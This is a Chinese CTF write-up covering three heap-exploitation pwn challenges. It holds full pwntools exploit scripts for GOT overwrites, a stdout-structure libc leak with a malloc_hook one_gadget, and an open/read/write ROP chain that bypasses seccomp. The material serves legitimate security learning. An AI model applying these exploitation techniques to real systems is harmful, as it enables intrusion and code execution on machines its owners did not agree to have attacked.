高校战“疫”网络安全分享赛-部分PWN题-wp

简介: 周末打了下 《高校战“疫”网络安全分享赛》,作为WEB转PWN的菜鸟,只做出了三个PWN, 虽然被大佬们暴捶,但还是学到了几个操作,这里写一份WP,记录一下。

高校战“疫”网络安全分享赛-部分PWN题-wp




1.本文由复眼小组的RGDZ师傅原创2.本文共3500字,图片30张 预计阅读时间10分钟3.由于笔者水平有限,所以部分操作可能不是最优的,如果各位看官还有更好的方法,欢迎您到评论区分享一下!

0x00.前言:

周末打了下 《高校战“疫”网络安全分享赛》,作为WEBPWN的菜鸟,只做出了三个PWN, 虽然被大佬们暴捶,但还是学到了几个操作,这里写一份WP,记录一下。

0x01.easy_heap:

1.函数分析

这道题比较简单,checksec如下:


图片1 checksec


main函数如下:


图片2 easy_heap_main


del函数可以发现指针已经清0


图片3 easy_heap_del


add函数如下:


图片4 easy_heap_add


我们可以发现,其现申请的ptr指针然后再给其赋值,如果我们申请的时候,输入大于0x400size,虽然函数退出,但是实际上ptr[i]里面已经有指针了,而且上面的del函数释放时并没有给size清空,漏洞点就在这里

2.思路简述:

我们可以现申请一个0x600x70fastbin,然后释放掉,此时fastbin的链表如下:


图片5 easy_heap_add的fastbin链表


之后我们再add(0x500)一下,ptr[0]就等于第一个fastbin,同时其fd指针还保留了留在0x1552000也就是第二个fastbin的指针地址,所以这个时候我们编译ptr[0]也就是编辑第二个fastbin,之后我们可以在add(0x20)一下,add(0x50)把第二个bin拿出来,同时拿到ptr[2]之后我们编辑ptr[0]实际上就可以控制ptr[1], 现在ptr的堆栈情况如下:


图片6 ptrs


所以我们编辑ptr[0]来使得ptr[1]的指针变成170也就是ptr[2],(注:这里地址不一样是因为我本地开了ASLR,我是在脚本里面直接下的断点,但后三位偏移是一样的。)所以当我们在去编辑ptr[1]时实际上就是在编辑ptr[2]chunk,如图:


图片7 ptrs2


由于程序没有开启got保护,而且题目没有给出输出函数,所以我们可以先想办法泄露,我们可以先通过ptr[1]修改ptr[2]的指针指向free_got,在通过编辑ptr[2]来修改free_gotputs_plt,在回去编辑ptr[1]来修改ptr[2]atoi_got,这样当我们free掉ptr[2]后,就能泄露atoi的地址,计算出libc基地址,我们在通过编辑ptr[0]来使得ptr[1]指向atoi_got,在编辑ptr[1]来修改atoi_gotsystem的地址,这样下一次输入时输入/bin/sh就可以getshell了。

3.完整EXP:







from pwn import *
context.log_level = "debug"
io = process("easyheap")# io = remote("121.36.209.145", 9997)elf = ELF('easyheap')libc = ELF("libc.so.6")
def c(idx):    io.sendlineafter("Your choice:", str(idx))
def add(size, buf):    c(1)    io.sendlineafter("How long is this message?", str(size))    io.sendafter("What is the content of the message?", buf)
def free(idx):    c(2)    io.sendlineafter("What is the index of the item to be deleted?", str(idx))
def edit(idx, buf):    c(3)    io.sendlineafter("What is the index of the item to be modified?", str(idx))    io.sendafter("What is the content of the message?", buf)
add(0x60, '\x00')add(0x70, '\x00')
free(0)free(1)
c(1)io.sendlineafter("How long is this message?", str(0x500))add(0x20, '\xaa')add(0x50, '\xaa')
buf = p64(0)buf += p64(0x21)buf += '\x70'    #fix    edit(0, buf)attach(io)
edit(1, p64(elf.got['free']))edit(2, p64(elf.plt['puts']))edit(1, p64(elf.got['atoi']))
free(2)io.recv()atoi_addr = u64(io.recv(6)+"\x00\x00")libcbase = atoi_addr - libc.symbols['atoi']system_addr = libcbase + libc.symbols['system']log.info("libcbase: 0x%x"%libcbase)log.info("system addr: 0x%x"%system_addr)
# 2 is 0 so fix 1buf = p64(0)buf += p64(0x21)buf += p64(elf.got['atoi'])    #fix  atoi to systembuf += p64(0x500)edit(0, buf)
edit(1, p64(system_addr))
io.recv()io.sendline("/bin/sh")io.interactive()

0x02.woodenbox:

这题的提示很明显,基本就是Roman,但这次我脸太黑,爆破一晚上,没跑出flag,最后查略资料发现Roman其使用在fastbin attack环节先去攻击stderr+157这个地址,这个偏移是固定,在2.23版本的libc中,之后填充0x33就可以攻击stdout结构体,从而可以制造泄露,这样就能把原先Roman的攻击概率从1/4096,提高到1/16,成功率大大提高,这里以这道题来实例分析一下流程。

1.函数分析:

add函数如下:


图片8 woodenbox_add


edit函数如下,这里可以发现很明显的堆溢出了,重新输入了size,但并没有重新申请chunk


图片9 woodenbox_edit


remove函数如下:


图片10 woodenbox_remove


这里会比较绕,作者用了一个items,一个ptrs同时控制数据数组,实际上我们一看地址就清楚了,如图,itemsptrs的地址:


图片11 items_ptrs_addr


这里实际上items是指向第一个数据块的size,ptrs指向第一个数据块的ptr,所以可以定义如下结构:


图片12 item_ptr_struct


这样看着就清楚多了,这还有一个点比较坑,作者移除数据块是非正常移动,在把items[i]置为0后,就开始往上移动,items[0]块相当于消失,下方的块上移一次,所以控制chunk下标时要注意,同时最后一个块也就是item[11]并不会消失,除非主动删除他

2.思路简述:

在调试这题时我们可以先关闭aslr随机化


echo 0 > /proc/sys/kernel/randomize_va_space

我们依然先使用Roman开题手法,先拿到一个unsorted bin 然后通过上一个chunk溢出来覆盖size域和fd后4位,其中第一位需要爆破也就在这里 当我们完成unsorted bin覆盖size域后其在fastbin里面)的fd覆盖后,如图:


图片13 bins


我们最后四位覆盖为"\x25\xdd"这个偏移是2.23libc是固定的,我们fastbin attack后可以拿到stderr+173其目的是为了控制stderr+221实际上就是覆盖stdout结构体中_IO_write_base,如图:


图片14 stdout1


关于stdout的更多细节可以参考:

从一题看利用IO_file to leak——https://xz.aliyun.com/t/5057

这样就可以进行泄露对了覆盖是我们还多覆盖了"\x00",这样就可以使得其输出一个0x7ffff7dd2600这里我们将a3变成00这样可以截断输出,0xffff7dd2600实际上是stderr+192,如图:


图片15 stdout2


完成上面步骤我们就成功泄露了libc基地址,接着就可以直接改malloc_hook为one_gadget,最后触发malloc_printerrgetshell,题目已经在leave给出:


图片16 leave


3.完整EXP如下:













from pwn import *
context.log_level = "debug"
# io = process("./woodenbox2")
elf = ELF('./woodenbox2')libc = ELF('./libc.so')
def c(idx):    io.sendlineafter("Your choice:", str(idx))
def add(size, buf):    c(1)    io.sendafter("Please enter the length of item name:", str(size))    io.sendlineafter("Please enter the name of item:", buf)
def edit(idx, buf):    c(2)    io.sendlineafter("Please enter the index of item:", str(idx))    io.sendafter("Please enter the length of item name:", str(len(buf)))    io.sendafter("Please enter the new name of the item:", buf)
def free(idx):    c(3)    io.sendlineafter("Please enter the index of item:", str(idx))
def pwn():    add(0x20, '') # 0    add(0x20, '') # 1    add(0x60, '') # 2    add(0x60, '') # 3    add(0x60, '') # 4    add(0x60, '') # 5    add(0x80, '') # 6 #unsort bin    add(0x60, '') # 7     add(0x60, '') # 8     add(0x60, '') # 9     # add(0x80, '') # 10    add (0x20, '')  # free    add(0x60, '') # 11
    free(6) #     free(6)    free(2)
    buf = '\x00'*0x68    buf += p64(0x71)    buf += "\x20"    edit(0, buf)
    buf = '\x00'*0x68    buf += p64(0x71)    buf +=  p16(0x25dd) # stderr+157    edit(2, buf)
    attach(io)
    add(0x60, '')    add(0x60, '')    add(0x60, '')   # stderr+157
    # attack stdout    buf = '\x00'*0x33    buf += p64(0xfbad2887|0x1000)    buf += p64(0)*3+'\x00'    edit(4, buf)            # leak _IO_2_1_stdout_+131
    # leak libcbase    stdout_a = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))    log.success("stdout_a: 0x%x"%stdout_a)    libc.address = stdout_a - libc.sym['_IO_2_1_stderr_'] - 192    log.success("libcbase: 0x%x"%libc.address)
    free(6)    # malloc_hook_near = "\xed\x1a"    malloc_hook_near = p64(+libc.sym['__malloc_hook']-0x23)    buf = '\x00'*0x68    buf += p64(0x71)    buf += malloc_hook_near    edit(4, buf)    #fix fastbin and attack malloc-0x23
    # attack malloc    free(6)    free(6)    add(0x60, '')    add(0x60, '')       add(0x60, '') # malloc_hook -0x13    #fix fastbin
    free(3)    edit(5, p64(0))
    # # unsorted bin attack    # buf = '\x00'*0x68    # buf += p64(0x90)    # buf += p64(0)    # buf += "\x00"    # edit(1, buf)    # add(0x80, '')
    # attack get shell    one_gadget = libc.address + 0xf02a4    # one_gadget = p64(one_gadget)[:3]    buf = '\x00'*0x13    buf += p64(one_gadget)    edit(4, buf)
    # gdb.attach(io)    c(4)    io.interactive()
for i in range(200):    try:        # io = remote("121.36.215.224", 9998)        io = process("./woodenbox2")        pwn()    except:        print(i)

0x03.lgd:

这题说句实话,感觉就是出题人有点恶心

首先开了一个BCF(虚假控制流)


图片17 BCF



图片18 checksec


一看有点吓人,实际上我当时想去除这种混淆,但之前没有好好研究过这种混淆,参考了看雪的这篇帖子:

Hex-Rays: 十步杀一人,两步秒OLLVM-BCF——https://bbs.pediy.com/thread-257213.htm

但是没有成功,不过不影响。

1.函数分析:

我们仅仅关注关键点:

add函数中:


图片19 add1


第一处其申请一个size<0x1000的chunk放在buf[i],i最大是32


图片20 add2


第二处将输入的字符的长度赋值到size


图片21 add3


第三处将size放入sizes[i]

del函数关键如下:


图片22 del1


释放buf[i]


图片23 del2


这里b, c都是bss段上的常量,而且默认都是0,这种BCF混淆的一种手法,整个程序没有一个地方堆b,c进行赋值,所以这里就是将buf[i]清0

edit函数如下:


图片24 edit


这里的size实际上我们在add函数时输入字符的长度,所以这里就是一个典型的堆溢出

show函数如下:


图片25 show


这里可以进行泄露

2.思路简述:

我们首先利用unsorted bin进行泄露拿到libc基地址,之后原本以为就正常的fastbin attack改hook get_shell,但打了半天打不通后才发现其开了函数禁用


图片26 seccomp-tools


所以这里我们得想办法绕过,典型的orwopen read write就是构造shellcode或者rop链来执行open函数打开文件,read读取内容,write函数输出

这里没有可执行的区域,所以我选择构造rop链,这里可以参考安全客的这篇文章

一道CTF题目学习prctl函数的沙箱过滤规则——https://www.anquanke.com/post/id/186447#h3-14

实际简单的说就是先泄露libcenviron变量的值计算偏移得到main函数的rbp地址然后将rop链写入栈中,当main函数执行后退出后就能劫持程序执行流,比较常规的操作

计算main函数rbp的偏移可以使用文章用的


图片27 environ_main_rbp


可以计算出偏移为0xf8

那么我们怎么才能泄露environ以及往栈里面写rop链呢?


图片28 sizes_buf_addr


我们发现sizes距离buf很近仅仅0x80的字节,而且sizes[i]buf[i]中chunk的真实size并无联系可以借此溢出,所以我们可以多构造几个sizes[i]0x7F这样就能轻松控制buf的内容,从而实现任意地址写,和任意地址读(构造的rop链可以参考安全客的文章)

但是当我向main函数的返回地址,也就是rbp的地址写入rop链后程序并没去执行rop,我才注意到main函数并非直接返回,而是执行exit(0)直接退出,但这样我们就不能执行rop链,此处多次思考无果,后有师傅说去劫持eixt函数,这里参考安全客的这篇文章

详解 De1ctf 2019 pwn——unprintable —— https://www.anquanke.com/post/id/183859

但我实际去劫持的时候失败了,这里回头在实验实验,然后还有师傅说利用SROP,修改free_hookcontext然后将bss段改为可执行,写入shellcode的执行,额,哇靠有点操作难度,感觉比较复杂,那么有没有在简单的方法呢?实际还有,我们注意edit函数,这里在看一下


图片29 edit2


我们发现其向buf[i]写完东西以后就直接退出了,所以我们是否可以去劫持他的返回地址而不是main函数的返回地址呢?

答案是可行的,我们来看一下他的偏移


图片30 edit_rbp


经过计算发现其偏移等于main_rbp-0x130也就是environ-0x228

所以我们这一次将目标地址写入这里,在写入之前注意我们需要再申请一块chunk,主要目的是使得sizes[i]的大小足够我们写入rop链,这里申请0x200好了

3.完整EXP如下:





from pwn import *
context.arch = 'amd64'context.log_level = "debug"
io = process("./pwn")# io = remote("121.36.209.145", 9998)elf = ELF("./pwn")libc = ELF("./libc.so.6")
def init():    name = "wo si n baba!!!!,sb chu ti ren"    io.sendafter("son call babaaa,what is your name? ", name)
def c(idx):    io.sendlineafter(">> ", str(idx))
def add(size, real_size=0x7E):    c(1)    io.sendlineafter("______?", str(size))    io.sendlineafter("start_the_game,yes_or_no?", "a"*(real_size))
def free(idx):    c(2)    io.sendlineafter("index ?", str(idx))
def show(idx):    c(3)    io.sendlineafter("index ?", str(idx))
def edit(idx, buf):    c(4)    io.sendlineafter("index ?", str(idx))    io.sendafter("___c___r__s__++___c___new_content ?", buf)
init()add(0x80)add(0x20)
free(0)
add(0x80)show(0)
main_arena_88 = u64(io.recvuntil("\x7f")[1:].ljust(8, '\x00'))libc_addr = main_arena_88 - (0x7fcadeb17b78-0x7fcade753000)libc.address = libc_addrlog.success(hex(libc.address))
add(0x10)add(0x60)add(0x10)
#attack bssfree(3)buf = "\x00"*0x18buf += p64(0x71)buf += p64(0x603268) #0edit(2, buf)
add(0x60)add(0x60) # 5
# leak environbuf = '\x00'*0x68buf += p64(libc.symbols['environ'])edit(5, buf)show(0)environ = u64(io.recvuntil("\x7f")[1:].ljust(8, "\x00"))log.success("environ: 0x%x"%environ)
free(1)add(0x80, 0x200)
io.recv()# attack stack and malloc_hookmain_rbp_addr = environ - 0xf8malloc_hook_addr = libc.symbols['__malloc_hook']log.success("malloc_hook_addr: 0x%x"%malloc_hook_addr)buf = '\x00'*0x60buf +=  "flag".ljust(8, "\x00")buf += p64(0) # 0buf += p64(main_rbp_addr-0x130)   # 1
edit(5, buf)
layout = [    # "flagx00x00x00x00", # ret    0x0000000000400711, # ret    0x0000000000400711, # ret    0x0000000000400711, # ret
    0x00000000004023b3, # : pop rdi ; ret    0x603268+0x70,       # stack_addr - 0xf8,    0x00000000004023b1, # : pop rsi ; pop r15 ; ret    0,    0,    libc_addr + 0x0000000000033544, # : pop rax ; ret    2, # sys_open    libc_addr + 0x00000000001077F5, # : syscall ; ret
    0x00000000004023b3, # : pop rdi ; ret    3,    0x00000000004023b1, # : pop rsi ; pop r15 ; ret    0x6033E0,    0,    libc_addr + 0x0000000000001b92, # : pop rdx ; ret    0x100,    elf.plt['read'],
    0x00000000004023b3, # pop rdi    1,    0x00000000004023b1, # pop rsi    0x6033E0,    0,    libc_addr + 0x0000000000001b92, # pop rdx    0x50,
    libc_addr + 0x0000000000033544, # pop eax    1,    libc_addr + 0x00000000001077F5, #syscall
    elf.plt['exit']]
c(4)io.sendlineafter("index ?", str(1))# attach(io)io.sendafter("___c___r__s__++___c___new_content ?", flat(layout))io.interactive()

0x04.总结:

这次虽然只做出了3道题,但还是学到很多姿势,特别最后一道,就感觉知识迁移能力很重要,以及做题的时候很多需要灵活应变,感觉收获还是满满的,期待大佬们其他题的WP.还请各位大佬多多担待,有什么新的想法欢迎在公众号的后台留言提出。

0x05.参考文章:

从一题看利用IO_file to leak——https://xz.aliyun.com/t/5057Hex-Rays: 十步杀一人,两步秒OLLVM-BCF——https://bbs.pediy.com/thread-257213.htm一道CTF题目学习prctl函数的沙箱过滤规则——https://www.anquanke.com/post/id/186447#h3-14详解 De1ctf 2019 pwn——unprintable——https://www.anquanke.com/post/id/183859

相关文章
|
3天前
|
网络安全 数据安全/隐私保护 XML
2024“天一永安杯“宁波第七届网络安全大赛极安云科战队部分WP
2024“天一永安杯“宁波第七届网络安全大赛极安云科战队部分WP
2024“天一永安杯“宁波第七届网络安全大赛极安云科战队部分WP
|
3天前
|
监控 安全 Linux
【专栏】Linux中六个常用的网络命令:ping、traceroute、netstat、nmap、ifconfig和ip
【4月更文挑战第28天】本文介绍了Linux中六个常用的网络命令:ping、traceroute、netstat、nmap、ifconfig和ip,以及它们在测试网络连通性、追踪路由、查看网络状态、安全扫描和接口配置等场景的应用。通过学习和运用这些命令,系统管理员和网络爱好者能更有效地诊断和管理网络问题,确保网络稳定运行。
|
1天前
|
运维 网络协议 Linux
Docker网络_docker 网络,来看看这份超全面的《Linux运维面试题及解析》
Docker网络_docker 网络,来看看这份超全面的《Linux运维面试题及解析》
|
3天前
|
网络协议 Linux 网络架构
|
3天前
|
域名解析 网络协议 Linux
linux网络配置详解
linux网络配置详解
23 0
|
3天前
|
网络协议 Java Linux
【探索Linux】P.29(网络编程套接字 —— 简单的TCP网络程序模拟实现)
【探索Linux】P.29(网络编程套接字 —— 简单的TCP网络程序模拟实现)
14 0
|
3天前
|
存储 网络协议 算法
【探索Linux】P.28(网络编程套接字 —— 简单的UDP网络程序模拟实现)
【探索Linux】P.28(网络编程套接字 —— 简单的UDP网络程序模拟实现)
16 0
|
3天前
|
网络协议 算法 Linux
【探索Linux】P.27(网络编程套接字 —— UDP协议介绍 | TCP协议介绍 | UDP 和 TCP 的异同)
【探索Linux】P.27(网络编程套接字 —— UDP协议介绍 | TCP协议介绍 | UDP 和 TCP 的异同)
16 0
|
3天前
|
存储 算法 网络协议
【探索Linux】P.26(网络编程套接字基本概念—— socket编程接口 | socket编程接口相关函数详细介绍 )
【探索Linux】P.26(网络编程套接字基本概念—— socket编程接口 | socket编程接口相关函数详细介绍 )
13 0

热门文章

最新文章